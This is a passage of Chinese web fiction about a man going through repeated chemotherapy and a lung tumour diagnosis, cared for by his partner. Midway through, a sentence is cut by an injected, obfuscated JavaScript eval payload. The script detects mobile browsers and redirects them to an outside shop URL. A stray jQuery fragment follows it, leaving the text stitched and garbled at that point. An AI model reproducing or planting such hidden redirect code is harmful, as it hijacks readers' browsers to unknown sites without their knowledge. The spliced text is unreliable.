立秋后的第一周，苌斓开始第一次化疗。那天早上他没有磨豆浆。他坐在床边，低头看着自己的手指——指甲盖泛着极淡的青色，像秋天最后一抹褪尽的远山。他说，今天要化疗了，是不是要把头发剃掉。忘海站在他面前，手里拿着电动推子，说不用全剃，只剃后面一小块。苌斓沉默了一会儿，说全剃了吧，反正以后也会掉光的，不如自己先动手。
忘海没有劝他。他让苌斓坐在卫生间的镜子前，把围布围在他脖子上，打开电动推子的开关。嗡嗡的低鸣声在狭小的空间里回荡，第一缕头发落下来的时候，苌斓闭上了眼睛，睫毛在轻轻颤动。忘海的动作很慢，推子贴着头皮滑过去，像在修剪一盆很珍贵的盆栽。
头发一缕一缕落在围布上、地板上。剃完之后，苌斓慢慢睁开眼睛看着镜子里的自己——光秃秃的脑袋，头皮青白色，能看到淡蓝色的血管。他抬手摸了摸后脑勺，那里的头发茬扎着他的掌心。他说，好丑。忘海站在他身后，也在镜子里看着他的光头，然后低下头，在他光溜溜的头顶上轻轻落下一个吻，说不丑，很好看。
化疗的药物是透明的，挂在输液架上，一滴一滴流进苌斓手背的留置针里。他靠在病床上看着那根细细的输液管，说以前都是我给你磨豆浆，现在换成你给我输液了。忘海坐在病床边的椅子上，手里拿着一本书，说输液也是磨豆浆的一种，都是把东西弄进身体里去。苌斓愣了一下，然后极淡地笑了一下。
但药物进入血管之后，状态就开始变差了。苌斓先是觉得冷，从骨头缝里往外冒的那种冷。忘海把病床的被子又加了一层，把他的手指握在掌心里暖着，还是冷。然后恶心翻涌上来，他趴在床边对着垃圾桶干呕，胃里翻江倒海，但他还是没出声。不是不难受，是习惯了把痛苦咽下去。
晚上苌斓忽然说想吃橘子。忘海立刻起身去买。等他拎着一袋橘子推开病房门时，苌斓正侧躺在病床上，蜷着身体，脸埋在枕头里，肩膀轻轻颤动。他没有哭出声，只是用手背死死捂着嘴，把声音全部压在喉咙里，和以前蜷在床角挨打时一模一样。化疗的疼痛不是那种尖锐的刺痛，是更深更钝的酸痛，像一把生锈的锉刀从骨髓里往外磨。他不敢出声，因为以前哭出声会被打得更狠。这个习惯已经刻进骨头里二十多年，哪怕现在他爱的人就在身边，他也改不掉。
忘海把橘子放在床头柜上，走过去在床边侧躺下来，从背后轻轻环住苌斓的腰。他说，疼就哭出来，不用忍着，这里没有别人，只有我。苌斓的肩膀僵了一下，然后他转过身，把脸埋进忘海胸口，终于发出了声音——不是号啕大哭，是那种压抑的、破碎的、从喉咙深处挤出来的呜咽。他用手指攥着忘海的衣襟，眼泪浸透了那层薄薄的棉布。忘海轻轻拍着他的后背，一下一下，和很久以前他做噩梦时把他叫醒的动作一模一样。
哭完之后苌斓靠在他胸口，鼻音很重地说，橘子呢。忘海把橘子剥开，橘皮的清香弥漫开来，和消毒水的气味混在一起。他把橘瓣上的白色筋络一根一根撕干净，掰成一瓣一瓣放在苌斓掌心里。苌斓吃了一瓣，说酸。忘海也吃了一瓣，说确实酸，等下次给你买甜的。苌斓把剩下的几瓣都吃了，一边吃一边说酸，一边吃一边说下次还是买这家的，酸的也有酸的好吃。
第一次化疗结束后，苌斓回到家，坐在沙发上摸了摸自己的光头，说家里好暖和。忘海把针织帽戴在他头上，灰色，和围巾一个颜色。苌斓把帽子往下拉了拉遮住耳朵，然后靠在忘海肩上说有点累，想睡一会儿。窗外梧桐树的叶子开始落了，但阳光还是从枝丫间漏进来，落在他脸上。
第二次化疗在处暑之后。苌斓的头发开始大把大把地掉，枕头上、衣领上、沙发上，到处都是灰白色的发丝。他每次看到那些掉发都会沉默几秒，然后把它们捡起来，团成一小团扔进垃圾桶里。有一天早上他对着镜子摸了摸自己斑驳的头皮，说像被狗啃过的草地。忘海站在他身后，从抽屉里拿出电动推子，说再剃一次吧，剃光了就看不出来掉了。苌斓说好。
这一次剃头的时候他没有闭眼，而是看着镜子里的自己，看着推子把残留的发茬一根一根剃干净。他说第一次剃的时候觉得丑，现在觉得光头也挺好，洗脸的时候顺便洗头，省事。忘海知道他在说反话，但没有戳穿，只是把推子关掉，低下头在他光溜溜的头顶上又落下一个吻。和第一次化疗时一模一样的动作。
第二次化疗的副作用比第一次更重。苌斓开始发烧，体温在三十八度上下徘徊，嘴唇烧得干裂起皮。忘海用棉签蘸了温水一点一点涂在他嘴唇上，他昏昏沉沉地靠在病床上，忽然说想吃冰粉。忘海说化疗期间不能吃冰的，等你好了给你做，桂花酱还是去年的那瓶。苌斓说好，然后闭上眼睛又睡着了。
第三次化疗在白露之后。苌斓瘦了很多，病号服穿在身上空荡荡的，手腕细得忘海一只手就能圈住。他开始频繁地出虚汗，半夜醒来枕头湿了一大片。忘海用温水拧了毛巾给他擦脸、擦脖子、擦手臂，动作很轻，和很久以前在天台上擦掉他脸上的血迹时一模一样。苌斓半睁着眼睛看着他，忽然说，以前都是我给你炖排骨汤，现在换成你给我擦汗了。他把第一次化疗时那句话翻了出来，只是把“磨豆浆”换成了“炖排骨汤”。忘海把毛巾放进水盆里搓了搓，说擦汗也是炖排骨汤的一种，都是把多余的水分去掉。苌斓极淡地笑了一下，说明明是把水分加上去。忘海说那就擦汗是磨豆浆，加水是炖排骨汤，反正都是你教我的。
第四次化疗在秋分前后。苌斓的味觉开始变了，以前最爱喝的红枣茶现在喝起来有股金属味，他说像在舔硬币。忘海把红枣茶换成白开水，加了极少量蜂蜜，他还是说苦。忘海又把白开水换成梨汤——雪梨去皮切块，不放糖，小火慢炖，炖出来的汤汁清甜不腻。苌斓喝了一口，说这个不苦，好喝。忘海就把梨汤装进保温杯里，每天带去病房。护士看到保温杯上的磕痕，说这杯子用了很久吧。忘海说嗯，从高中用到现在。
第五次化疗在寒露之后。苌斓开始频繁地流鼻血，比以前更频繁，有时候早上醒来枕头上有一两滴暗红色的血迹。他总趁忘海不注意时把枕套换下来洗干净，但这次被忘海撞见了。忘海站在卫生间门口，看着他站在水池前搓枕套，手指冻得通红。他走过去从背后拿过枕套，说我来洗，你去坐着。苌斓没有松手，低着头说，以前这些事都是我做，现在连洗个枕套都做不了。忘海把水龙头关掉，把他从水池前拉过来让他靠在自己肩上，说等你好起来，家里的枕套都给你洗。苌斓沉默了一会儿，然后极轻极轻地笑了一下，说那你岂不是要买很多枕套，我洗得慢。忘海说那就买一打，慢慢洗。
第六次化疗在霜降那天。早上苌斓站在窗前看着梧桐树
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17724420|208790||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，树叶已经落了大半，光秃秃的枝丫在秋风里轻轻晃动。他说，今天霜降，以前每年霜降都会把阳台上的薄荷搬进屋里，今年还没来得及搬。忘海说早上已经搬了，放在茶几旁边，和紫砂杯、针线盒并排。苌斓回头看了他一眼，然后低头看着自己的手——手背上全是针眼，青一块紫一块，已经找不到完整的血管了。他说，六次了。忘海从背后抱住他，下巴搁在他光溜溜的头顶上，和第一次化疗前剃头时吻他头顶的位置一模一样。他说，六次了。你做得很好。苌斓没有说话，只是往后靠进他怀里，看着窗外最后一片梧桐叶从枝头飘落。
立冬那天，苌斓开始咳嗽。
起初只是干咳，他以为是感冒，自己泡了姜茶喝。姜是忘海切的，姜丝切得很细，和以前苌斓教他的一模一样。他端着姜茶靠在沙发上，咳了几声，说可能晚上踢被子着凉了。忘海没有反驳，只是又给他加了一条薄毯，把姜茶续了一杯。
但咳嗽没有好。过了几天，苌斓开始咳出带血丝的痰。他把纸巾揉成一团扔进垃圾桶，没有告诉忘海。直到有一天夜里咳得直不起腰，忘海从背后把他扶起来，轻轻拍着他的背，手心贴着他后背能感觉到每一声咳嗽时肋骨的震动，像有什么东西在肺里拼命挣扎。等他缓过来之后，忘海给他倒了杯温水，然后把医生开的复查单从抽屉里拿出来放在茶几上，说明天我们去医院。不是商量，是陈述。和几个月前第一次带他去检查时一模一样，和当年在天台上说“我们去医务室”时一模一样。
检查结果出来的时候，忘海一个人在医生办公室里坐了很久。窗外梧桐树光秃秃的，枝丫直直伸向铅灰色的天空。医生说，肺结核病灶扩大了，左肺上叶出现了新的阴影——不是结核球，是肿瘤。长期化疗导致的免疫力下降，让原本潜伏在肺里的结核杆菌趁虚而入，也让癌细胞有了可乘之机。它很小，还没有扩散，但确实在那里。医生说可以做靶向治疗，也可以做射频消融，但考虑到患者目前的身体状况，任何额外的治疗都会增加负担。
忘海从医生办公室出来的时候，苌斓正坐在走廊的塑料椅上等他。他围着那条灰色围巾，戴着那顶灰色针织帽，瘦得几乎陷进椅子里。看到忘海走过来，他抬头看着他的眼睛，没有问结果，只是把他的手握住放在自己膝盖上。他说，回家再说。忘海说好。
那天傍晚他们坐在沙发上，面前摊着那张CT片子。苌斓把片子举到灯光下看了看，左肺上叶那个小小的阴影在灰白色的肺野里格外刺眼。他说，白血病还没治好，骨癌还在痛，肺结核还在咳，现在又来一个。忘海想开口，但苌斓把片子放下，说，治。靶向也好，射频也好，能做的都做。不是不想放弃，是舍不得——舍不得秋天的枫叶，舍不得冬天的排骨汤，舍不得每天早上保温杯里那八颗红枣。他说以前觉得活着很累，现在觉得活着很值。因为你在这里，因为每个季节都有不同的花，因为还有很多事没有做完——围巾还没织完，毛线还剩一小半，针线盒的盖子还没合上。
忘海低下头，把苌斓的手握在自己掌心里，两只手都握着他的。他说好，治。我们一个病一个病地治，一个秋天一个秋天地过。苌斓靠在忘海肩上，闭上眼睛。窗外梧桐树的叶子已经落尽了，但春天还会来。他们还有很多很多个秋天要一起过。他温柔的笑着。
忘海低下头，看不清表情。